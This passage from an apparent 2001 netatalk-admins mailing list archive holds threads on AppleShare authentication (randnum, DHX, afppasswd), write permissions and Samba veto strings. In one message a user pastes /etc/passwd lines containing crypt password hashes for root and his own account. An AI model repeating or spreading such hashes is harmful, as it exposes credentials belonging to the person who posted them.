> Mar  7 23:28:36 reznor afpd[6669]: uam: "2-Way Randnum exchange" available
> Mar  7 23:28:36 reznor afpd[6669]: uam: "Randnum exchange" available
> Mar  7 23:29:17 reznor afpd[6676]: ASIP session:548(2) from
> 192.168.0.2:49301(0)
> Mar  7 23:29:17 reznor afpd[6676]: 0.08KB read, 0.07KB written
> Mar  7 23:29:17 reznor afpd[6669]: server_child[1] 6676 done
> Mar  7 23:29:27 reznor afpd[6677]: ASIP session:548(2) from
> 192.168.0.2:49302(0)
> Mar  7 23:29:27 reznor afpd[6669]: server_child[1] 6677 done
> Mar  7 23:29:33 reznor afpd[6678]: ASIP session:548(2) from
> 192.168.0.2:49303(0)
> Mar  7 23:29:33 reznor afpd[6678]: 0.08KB read, 0.07KB written
> Mar  7 23:29:33 reznor afpd[6669]: server_child[1] 6678 done
>
>
> -----Original Message-----
> From: Marcel Lammerse [mailto:lammerse@xs4all.nl]
> Sent: Wednesday, March 07, 2001 3:53 AM
> To: Thomas Priore; netatalk-admins@umich.edu
> Subject: Re: Help PLS, only guest can log in.
>
>
> Hello Thomas,
>
> it seems that I have had the exact same (first) problem. I can't explain
> your
> second problem, but here's something that might help you on your way. By
the
> way, I have a Linux redhat 6.0 system and I'm using MacOS 9.0.4.
>
> If you want to do user-authentication, netatalk needs to support a number
of
> authentication methods. If you follow the instructions and compile
netatalk
> with the pam modules and the des library, you can see in /var/log/messages
> which authentication methods are supported.
>
> If you use the default configuration files for afpd, these methods are:
> cleartext password login, guest login and Diffie-Hellman/CAST-128. None of
> these will work, except for guest login.
>
> What will work is if you look in /etc/atalk/uams and you find a randnum or
> rand2num file, encrypted random numbers are supported. You will need to
> configure this in afpd.conf. Just add it to uamslist. It should read
> something
> (I don't have Linux handy) like this:
>
> "My volume" -transall -uamslist uams_randnum.so ...
>
> If you've done that and you fire up netatalkd again (preferrable with the
> supplied script), you should see an additional supported authentication
> mechanism (encrypted random numbers).
>
> Then what you need to do, is use the afppasswd command to create a
password
> file and add your user to it. Something like:
>
> afppasswd -c /etc/atalk/afppasswd
> afppasswd -a my-user
> [type password twice]
>
> Then you should be able to connect to the share via your macintosh.
>
> If anyone knows a better/more efficient way, I'd love to hear it. If you
> need
> any more help, just shout.
>
> Regards,
>
> Marcel
>
>
> Quoting Thomas Priore <tom@rupture.net>:
>
> > Hi, I install netatalk 1.5pre4 on redhat linux 7.0. (actually I install
a
> > bunch of different versions, from rpm and compiling) The problem seems
to
> > be
> > that only guest can log on. From what I've read this seems to be a
shadow
> > password problem, but I have no idea how to fix it. Can anyone help?
> >
> > I have a second problem too, which is more of a nuisance, the sever
> doesn't
> > show up in the client's chooser, the ip has to be typed in. Is there a
fix
> > for this?
> >
> > Thanks.
> >
> > Tom
> >
> >
>
>
>



From netatalk.administrators-errors@umich.edu  Sat Mar 10 08:17:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA24016
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Mar 2001 08:17:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA29048
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Mar 2001 08:17:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA29017
	for netatalk.administrators-members@umich.edu; Sat, 10 Mar 2001 08:17:19 -0500 (EST)
Received: from mail2.passagen.se (mail2.passagen.se [195.163.107.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA28944
	for <netatalk-admins@umich.edu>; Sat, 10 Mar 2001 08:17:18 -0500 (EST)
Received: from henrik (dynamic-195-35.dialup.chalmers.se [129.16.195.35]) by mail2.passagen.se (8.9.3/8.9.3/1.22)
	with SMTP id <OAA08138> for <netatalk-admins@umich.edu>; Sat, 10 Mar 2001 14:17:14 +0100 (MET)
Message-ID: <002201c0a95c$265899c0$23c31081@henrik>
From: "Henrik" <hks@hem.passagen.se>
To: <netatalk-admins@umich.edu>
References: <B6CE93B7.4432%jasonq@mac.com>
Subject: Re: No write access
Date: Sat, 10 Mar 2001 13:17:58 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi.

Here is the home directory of the user I log in from my Mac as:

drwxrwsrwx  10 henrik   henrik       4096 Mar 10 12:13 .
drwxrwxrwx   3 henrik   henrik       4096 Mar  8 21:56 ..
drwxrwsrwx   2 henrik   henrik       4096 Mar  9 11:51 .AppleDouble
-rw-------   1 henrik   henrik       4433 Mar 10 12:02 .bash_history
-rw-r--r--   1 henrik   henrik        328 Mar  9 00:05 .bash_profile
-rw-r--r--   1 henrik   henrik        513 Mar  9 11:25 .bashrc
-rw-r--r--   1 henrik   henrik       2148 Mar  9 11:04 .dir_colors
drwxrwsrwx   5 henrik   henrik       4096 Mar  9 09:22 Network Trash Folder
drwxrwsrwx   3 henrik   henrik       4096 Mar  8 23:50
TheVolumeSettingsFolder
drwxrwsrwx   5 henrik   henrik       4096 Mar 10 12:01 test

Here is a piece of me passwd-file (if it might be of any help):

root:1/RxbpdCkXTfM:0:0:root:/root:/bin/bash
bin:!:1000:100::/home/bin:
henrik:/mk8hq6XJDaeE:2:10:henrik:/home/henrik:/bin/bash

Hope you can help me now
Henrik

> Hi!
>
> Try sending us a small portion of the directory listing from the Linux
> machine. Also, telling us what version of server software you're using
would
> help.
>
> Cheers,
> Jason.
>
> On 9/3/01 12:32, "Henrik" wrote:
>
> > I am the owner of the folder.
> > From the Mac I can create subfolders but I can't copy files to my
linux-box.
> > The mac complains about that the file is locked and when I try do delete
a
> > file I get the message that I don't have write access.
> > Is there any settings to be done on my Linux-box and/or for netatalk. Is
> > there anything I must do on my Mac to be able to write to my Linux-box.
I
> > can tell that reading files works fine.
> > Please help.
> > //Henrik
> >
> >> who is the owner of the Parent Directory you are placing the folder in.
It
> > has to be you.  >Group I believe must also match a group you belong to.
> >> Heath Henderson
> >
> > -----Original Message-----
> > Hi.
> >
> > When I try to put files in my shared linux folder from the Mac it tells
me
> > that I don't have write access. How do I get it? The folder has the mode
777
> > so I thought that I would have the right to write to it.
> > Please help.
> >
> > Thanks
> > Henrik
> >
>
>


From netatalk.administrators-errors@umich.edu  Sat Mar 10 11:01:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA26940
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Mar 2001 11:01:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14136
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Mar 2001 11:01:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14110
	for netatalk.administrators-members@umich.edu; Sat, 10 Mar 2001 11:01:25 -0500 (EST)
Received: from rakete.joerdens.de ([62.104.116.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14038
	for <netatalk-admins@umich.edu>; Sat, 10 Mar 2001 11:01:24 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id RAA26530
	for netatalk-admins@umich.edu; Sat, 10 Mar 2001 17:01:18 +0100
Date: Sat, 10 Mar 2001 17:01:18 +0100
From: Frank Joerdens <frank@joerdens.de>
To: netatalk-admins@umich.edu
Subject: Netalk/Samba and vetoing Icon? files
Message-ID: <20010310170118.A26419@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
X-Subliminal-Message: Use Linux! Use Linux!

To make Samba and Netatalk work together, it is a good plan to veto
those files which are automagically created by Netatalk on the Samba
side. My veto string looks like this:

/.AppleDesktop/.AppleDouble/Network Trash
Folder/TheVolumeSettingsFolder/TheFindByContentFolder/Temporary
Items/lost+found/Folder Settings/.finf/

What I have not been able to figure out is how to veto Icon^M files.
Does anybody know?

Regards, Frank

From netatalk.administrators-errors@umich.edu  Sat Mar 10 13:26:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA00539
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Mar 2001 13:26:54 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04567
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Mar 2001 13:26:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04539
	for netatalk.administrators-members@umich.edu; Sat, 10 Mar 2001 13:26:47 -0500 (EST)
Received: from postal.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA04195
	for <netatalk-admins@umich.edu>; Sat, 10 Mar 2001 13:26:46 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by postal.interaccess.com (8.10.2/8.10.2) with ESMTP id f2AIQcN12147
	for <netatalk-admins@umich.edu>; Sat, 10 Mar 2001 12:26:43 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 10 Mar 2001 12:25:50 -0600
Subject: Re: Encrypted logins, configuration, The Chooser, etc.
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6CFCDCD.12AD3%bucky@interaccess.com>
In-Reply-To: <B6A51629.10998%bucky@interaccess.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I'm reposting this. It got zero response on the list last month when traffic
was lower. But the participants who have increased the list traffic this
month have demonstrated an ability to answer some difficult questions. So my
hopes are up for some good answers this time around. And in the intervening
month I've managed to verify that if there is a third-party UAM for the Mac,
it's languishing in obscurity somewhere where Google and the other major
engines can't see it.

Don't be daunted by the size and scope of this list of questions. Break off
whatever you can manage.

-B...

___________________________________________________
From: Bruce A. Burdick, Jr. <bucky@interaccess.com>
Date: Tue, 06 Feb 2001 02:47:05 -0600

I've perused the archives, but have mostly seen quick jots and morsels, all
assuming quite a bit of pre-existing context. Let's assemble the full story
on encrypted logins and netatalk. I'd like to see a robust how-to that
leaves nothing unsaid. How about you?

What are the various methods for encrypted logins supported by netatalk? In
which versions? What are the advantages/disadvantages of these? Which of
them are older/newer technologies? Which are weak/fading? Which are robust?

What are the various methods for encrypted logins supported by The Chooser?
In which versions?

How does netatalk need to be compiled to support the various methods? How
does this differ among the versions?

How does netatalk need to be configured to support the various methods? How
does this differ among the versions?

Do any end-to-end secure solutions exist? (i.e. no clear text passwords
stored or transmitted) What are they? How (in detail) are they installed and
configured?

What is netatalk 1.5 promising in this regard? What remains to be
implemented or fixed? What is not slated for development before the next
version? (1.6?)

Any other questions I missed?

I know some of the answers to these. But perhaps you know and can explain
them better. Or perhaps you have additional insights.

My reason for asking all this: I want to be able to login (with full
encryption, of course) from a Macintosh to a netatalk server over TCP/IP.
I'm running netatalk-1.4b2+asun2.1.3-8 on LinuxPPC 2000 (2.2.15pre3) and
netatalk-1.4b2+asun2.1.3-7 on LinuxPPC 2000 Q4 (2.2.18), and the shipping
version on OpenBSD 2.8 i386 (netatalk-990130.tgz). I've tried a few times to
get encrypted logins working, all to no avail. I'm not looking for a quick
fix. I'd really like to get a solid picture of the options and issues in my
head. I think a set of the best answers to the above questions will make my
life a lot easier, and probably many of yours as well. Anyone want to take a
crack at these?

Lastly, to you fellas who've picked up the netatalk ball and put it back
into development: thank you!

-B...


From netatalk.administrators-errors@umich.edu  Sat Mar 10 16:40:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA03747
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Mar 2001 16:40:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA02631
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Mar 2001 16:40:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA02607
	for netatalk.administrators-members@umich.edu; Sat, 10 Mar 2001 16:40:24 -0500 (EST)
Received: from smtp06.wxs.nl (smtp06.wxs.nl [195.121.6.58])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA02553
	for <netatalk-admins@umich.edu>; Sat, 10 Mar 2001 16:40:23 -0500 (EST)
Message-Id: <200103102140.QAA02553@funinacapulco.mr.itd.umich.edu>
Received: from [195.121.137.104] ([195.121.137.104]) by
          smtp06.wxs.nl (Netscape Messaging Server 4.05) with ESMTP id
          GA047F01.VE1; Sat, 10 Mar 2001 22:40:27 +0100 
X-Mailer: Microsoft Outlook Express Macintosh Edition - 4.5 (0410)
Date: Sat, 10 Mar 2001 22:38:01 +0100
Subject: Antw: Help PLS, only guest can log in.
From: "Marcel Lammerse" <lammerse@xs4all.nl>
To: Thomas Priore <tom@rupture.net>
CC: Appletalk On Linux <netatalk-admins@umich.edu>
Mime-version: 1.0
X-Priority: 3
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Thomas,

all I did was follow the instructions in the Netatalk-Howto, which you'll
find at:

http://www.anders.com/projects/netatalk/

Could it be that you're using a version of MacOS which doesn't work well
with your setup? I'm using MacOS 9.0.4.

I'm currently not at home so I can't send you my version of netatalk and its
configuration files. I'll send you the files tomorrow.

Regards,

Marcel

--

                This signature is temporarily out of order

----------
>Van: "Thomas Priore" <tom@rupture.net>
>Aan: "Marcel Lammerse" <lammerse@xs4all.nl>
>Cc: "Appletalk On Linux" <netatalk-admins@umich.edu>
>Onderwerp: RE: Help PLS, only guest can log in.
>Datum: zat, 10 maa 2001 05:04
>

> Thanks again for the help. i tried to create the afppasswd with -c and it
> created the file with the accounts, i thenk set the passwords, but I'm still
> recieving the same error. I think i'm going to try to recompile netatalk. do
> you know what options i need to include and where to put them?
>
> Thanks,
> Tom
>
> -----Original Message-----
> From: Marcel Lammerse [mailto:lammerse@xs4all.nl]
> Sent: Thursday, March 08, 2001 3:31 AM
> To: Thomas Priore
> Cc: Appletalk On Linux
> Subject: RE: Help PLS, only guest can log in.
>
>
> Ok..
>
> Things I can think of:
>
> - netatalk is not compiled with the -DUSE_PAM option and the pam-library
> is not linked with the object files
>
> - the netatalk user in /etc/atalk/afppasswd exists, but pam requires that
> the same users also exists as a Unix user. In that case, you might need
> to add the user with the useradd command (on redhat at least).
>
> In my case, I had created a Unix account before I used the afppasswd
> command. When I typed affpasswd -c , it extracted accounts from my Unix
> password file and set the passwords to '***********'. I had to use the
> afppasswd -a command to set the password in /etc/atalk/afppasswd. The
> passwords for both accounts were the same in my case.
>
> Incidently, does anyone know who to 'link' these two files? I'm probably
> doing something wrong, but now I have to manage two account databases
> which is very cumbersome.
>
> You startup log messages look fine.
>
> When I get back from work I'll send you my configuration files etc.
>
> Regards,
>
> Marcel
>
> --
> Marcel Lammerse
>
>    "One more time?"
>     -Michael Flatley
>
> On Wed, 7 Mar 2001, Thomas Priore wrote:
>
>> Thanks for your help, I didn't get it working, but I'm much closer. I'm
>> getting a new error from the Mac:
>> "Unknown user, incorrect password, or log on disabled...."
>>
>> there was no rand2numb.so, but randnumb.so was there. I think my problem
> now
>> lies with the passwd file. I made the changes to afpd as you recommended:
>>  - -transall -uamlist
>> uams_randnum.so,uams_guest.so,uams_clrtxt.so,uams_dhx.so -passwdfile
>> /etc/atalk/afppasswd -setpassword -savepassword
>>
>> then I created the afppasswd file, and added a user with afppasswd.
>>
>> Some thing interesting in the messages log, atalk seems to be coming up on
>> the loop back address 127.0.0.1 and doesn't mention the actual ip of the
>> server. Here is the messages log:
>>
>> Mar  7 23:27:46 reznor atalkd[6634]: restart (1.5pre4)
>> Mar  7 23:27:47 reznor atalkd[6634]: zip_getnetinfo for eth0
>> Mar  7 23:28:06 reznor last message repeated 2 times
>> Mar  7 23:28:16 reznor atalkd[6634]: config for no router
>> Mar  7 23:28:17 reznor atalkd[6634]: ready 0/0/0
>> Mar  7 23:28:17 reznor atalk: atalkd startup succeeded
>> Mar  7 23:28:30 reznor papd[6649]: restart (1.5pre4)
>> Mar  7 23:28:30 reznor atalk: papd startup succeeded
>> Mar  7 23:28:30 reznor atalk: timelord startup succeeded
>> Mar  7 23:28:30 reznor atalk: afpd startup succeeded
>> Mar  7 23:28:36 reznor timelord[6659]: reznor:TimeLord started
>> Mar  7 23:28:36 reznor afpd[6669]: reznor:AFPServer@* started on
>> 65280.237:130 (1.5pre4)
>> Mar  7 23:28:36 reznor afpd[6669]: ASIP started on 127.0.0.1:548(2)
>> (1.5pre4)
>> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_randnum.so loaded
>> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_guest.so loaded
>> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_clrtxt.so loaded
>> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_dhx.so loaded
>> Mar  7 23:28:36 reznor afpd[6669]: uam: "DHCAST128" available
>> Mar  7 23:28:36 reznor afpd[6669]: uam: "Cleartxt Passwrd" available
>> Mar  7 23:28:36 reznor afpd[6669]: uam: "No User Authent" available
>> Mar  7 23:28:36 reznor afpd[6669]: uam: "2-Way Randnum exchange" available
>> Mar  7 23:28:36 reznor afpd[6669]: uam: "Randnum exchange" available
>> Mar  7 23:29:17 reznor afpd[6676]: ASIP session:548(2) from
>> 192.168.0.2:49301(0)
>> Mar  7 23:29:17 reznor afpd[6676]: 0.08KB read, 0.07KB written
>> Mar  7 23:29:17 reznor afpd[6669]: server_child[1] 6676 done
>> Mar  7 23:29:27 reznor afpd[6677]: ASIP session:548(2) from
>> 192.168.0.2:49302(0)
>> Mar  7 23:29:27 reznor afpd[6669]: server_child[1] 6677 done
>> Mar  7 23:29:33 reznor afpd[6678]: ASIP session:548(2) from
>> 192.168.0.2:49303(0)
>> Mar  7 23:29:33 reznor afpd[6678]: 0.08KB read, 0.07KB written
>> Mar  7 23:29:33 reznor afpd[6669]: server_child[1] 6678 done
>>
>>
>> -----Original Message-----
>> From: Marcel Lammerse [mailto:lammerse@xs4all.nl]
>> Sent: Wednesday, March 07, 2001 3:53 AM
>> To: Thomas Priore; netatalk-admins@umich.edu
>> Subject: Re: Help PLS, only guest can log in.
>>
>>
>> Hello Thomas,
>>
>> it seems that I have had the exact same (first) problem. I can't explain
>> your
>> second problem, but here's something that might help you on your way. By
> the
>> way, I have a Linux redhat 6.0 system and I'm using MacOS 9.0.4.
>>
>> If you want to do user-authentication, netatalk needs to support a number
> of
>> authentication methods. If you follow the instructions and compile
> netatalk
>> with the pam modules and the des library, you can see in /var/log/messages
>> which authentication methods are supported.
>>
>> If you use the default configuration files for afpd, these methods are:
>> cleartext password login, guest login and Diffie-Hellman/CAST-128. None of
>> these will work, except for guest login.
>>
>> What will work is if you look in /etc/atalk/uams and you find a randnum or
>> rand2num file, encrypted random numbers are supported. You will need to
>> configure this in afpd.conf. Just add it to uamslist. It should read
>> something
>> (I don't have Linux handy) like this:
>>
>> "My volume" -transall -uamslist uams_randnum.so ...
>>
>> If you've done that and you fire up netatalkd again (preferrable with the
>> supplied script), you should see an additional supported authentication
>> mechanism (encrypted random numbers).
>>
>> Then what you need to do, is use the afppasswd command to create a
> password
>> file and add your user to it. Something like:
>>
>> afppasswd -c /etc/atalk/afppasswd
>> afppasswd -a my-user
>> [type password twice]
>>
>> Then you should be able to connect to the share via your macintosh.
>>
>> If anyone knows a better/more efficient way, I'd love to hear it. If you
>> need
>> any more help, just shout.
>>
>> Regards,
>>
>> Marcel
>>
>>
>> Quoting Thomas Priore <tom@rupture.net>:
>>
>> > Hi, I install netatalk 1.5pre4 on redhat linux 7.0. (actually I install
> a
>> > bunch of different versions, from rpm and compiling) The problem seems
> to
>> > be
>> > that only guest can log on. From what I've read this seems to be a
> shadow
>> > password problem, but I have no idea how to fix it. Can anyone help?
>> >
>> > I have a second problem too, which is more of a nuisance, the sever
>> doesn't
>> > show up in the client's chooser, the ip has to be typed in. Is there a
> fix
>> > for this?
>> >
>> > Thanks.
>> >
>> > Tom
>> >
>> >
>>
>>
>>
>
>
> 

From netatalk.administrators-errors@umich.edu  Mon Mar 12 09:30:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA17895
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 09:30:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11398
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 09:30:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11352
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 09:30:01 -0500 (EST)
Received: from apollo.le.ac.uk (apollo.le.ac.uk [143.210.16.125])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA11261
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 09:29:59 -0500 (EST)
Received: from ithaca.mcs.le.ac.uk ([143.210.72.11])
	by apollo.le.ac.uk with esmtp (Exim 3.16 #1)
	id 14cTKg-0004HG-00
	for netatalk-admins@umich.edu; Mon, 12 Mar 2001 14:29:58 +0000
Received: from pc54 (pc54 [143.210.72.46])
	by ithaca.mcs.le.ac.uk (8.9.3+Sun/8.9.3) with SMTP id OAA28975
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 14:29:57 GMT
Message-Id: <200103121429.OAA28975@ithaca.mcs.le.ac.uk>
Date: Mon, 12 Mar 2001 14:29:57 +0000 (GMT)
From: "J. A. Landamore" <jal@mcs.le.ac.uk>
Reply-To: "J. A. Landamore" <jal@mcs.le.ac.uk>
Subject: netatalk on Solaris sparcv9
To: netatalk-admins@umich.edu
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 i86pc i386 
Content-Type: text
X-Sun-Text-Type: ascii

What is the latest version of netatalk that anyone has successfully built and 
installed on a 64bit SPARC box.  Please note that this implies you MUST have 
used the Sun 5.0 C compiler as gcc doesn't support 64 compiles correctly.

TIA

John Landamore

From netatalk.administrators-errors@umich.edu  Mon Mar 12 10:24:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19188
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 10:24:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA13272
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 10:24:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA13204
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 10:24:05 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA13131
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 10:24:02 -0500 (EST)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id KAA12384;
	Mon, 12 Mar 2001 10:24:01 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AAC9F13.C19FF515@univrel.pr.uconn.edu>
Date: Mon, 12 Mar 2001 05:04:03 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
CC: netatalk-admins@umich.edu, netatalk-docs@lists.sourceforge.net
Subject: Re: Encrypted logins, configuration, The Chooser, etc.
References: <B6CFCDCD.12AD3%bucky@interaccess.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Bruce A. Burdick, Jr." wrote:
> 
> I'm reposting this. It got zero response on the list last month when traffic
> was lower. But the participants who have increased the list traffic this
> month have demonstrated an ability to answer some difficult questions. So my
> hopes are up for some good answers this time around. And in the intervening
> month I've managed to verify that if there is a third-party UAM for the Mac,
> it's languishing in obscurity somewhere where Google and the other major
> engines can't see it.
> 
> Don't be daunted by the size and scope of this list of questions. Break off
> whatever you can manage.
> 
> -B...
> 
> ___________________________________________________
> From: Bruce A. Burdick, Jr. <bucky@interaccess.com>
> Date: Tue, 06 Feb 2001 02:47:05 -0600
> 
> I've perused the archives, but have mostly seen quick jots and morsels, all
> assuming quite a bit of pre-existing context. Let's assemble the full story
> on encrypted logins and netatalk. I'd like to see a robust how-to that
> leaves nothing unsaid. How about you?
> 
> What are the various methods for encrypted logins supported by netatalk? In
> which versions? What are the advantages/disadvantages of these? Which of
> them are older/newer technologies? Which are weak/fading? Which are robust?

Randnum and DHX are the two ones that are supported by netatalk which
are supported by stock AppleShare clients.

Randnum (2-way encryption) is a little better security wise, but the
tradeoff is that you have to keep a seperate afppasswd file, which can
be a pain for a large number of users.

> What are the various methods for encrypted logins supported by The Chooser?
> In which versions?

Apple has a page up at
http://til.info.apple.com/techinfo.nsf/artnum/n60792?OpenDocument&software
which explains the latest recommended versions of AppleShare Client for
each version of Mac OS. The latest versions all support DHX and randnum.
 
> How does netatalk need to be compiled to support the various methods? How
> does this differ among the versions?

It compiles the uams by default in the 1.5 series, if you have SSL
support, which it tries to detect if you haven't specified a path for
it.
 
> How does netatalk need to be configured to support the various methods? How
> does this differ among the versions?

In your configuration directory (normally set in the build process,
usually /etc/atalk or /usr/local/atalk/etc or something similar), there
is a file called netatalk.conf which allows you to set the UAMS that the
sysv scripts ask for. Add the UAMs you want to the list in that file,
and you should be ready to go.
 
> What is netatalk 1.5 promising in this regard? What remains to be
> implemented or fixed? What is not slated for development before the next
> version? (1.6?)

The biggest thing that has to be done before 1.6 is a DID database.
Other than that, we only have to worry about fixing small bugs in the
code.
 
> Any other questions I missed?
> 
> I know some of the answers to these. But perhaps you know and can explain
> them better. Or perhaps you have additional insights.
> 
> My reason for asking all this: I want to be able to login (with full
> encryption, of course) from a Macintosh to a netatalk server over TCP/IP.
> I'm running netatalk-1.4b2+asun2.1.3-8 on LinuxPPC 2000 (2.2.15pre3) and
> netatalk-1.4b2+asun2.1.3-7 on LinuxPPC 2000 Q4 (2.2.18), and the shipping
> version on OpenBSD 2.8 i386 (netatalk-990130.tgz). I've tried a few times to
> get encrypted logins working, all to no avail. I'm not looking for a quick
> fix. I'd really like to get a solid picture of the options and issues in my
> head. I think a set of the best answers to the above questions will make my
> life a lot easier, and probably many of yours as well. Anyone want to take a
> crack at these?

As far as I know, the 1.5pre5 release should work with encrypted
passwords on OpenBSD and LinuxPPC 2000. If you use the pam modules
(--enable-pam on the ./configure line) you can even use a single LDAP or
NIS authentication server for passwords across all the boxen.

Make sure to update your AppleShare Clients, though. Many old ones don't
support DHX.

jeff

From netatalk.administrators-errors@umich.edu  Mon Mar 12 14:56:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29037
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 14:56:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16262
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 14:56:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16212
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 14:56:19 -0500 (EST)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA16154
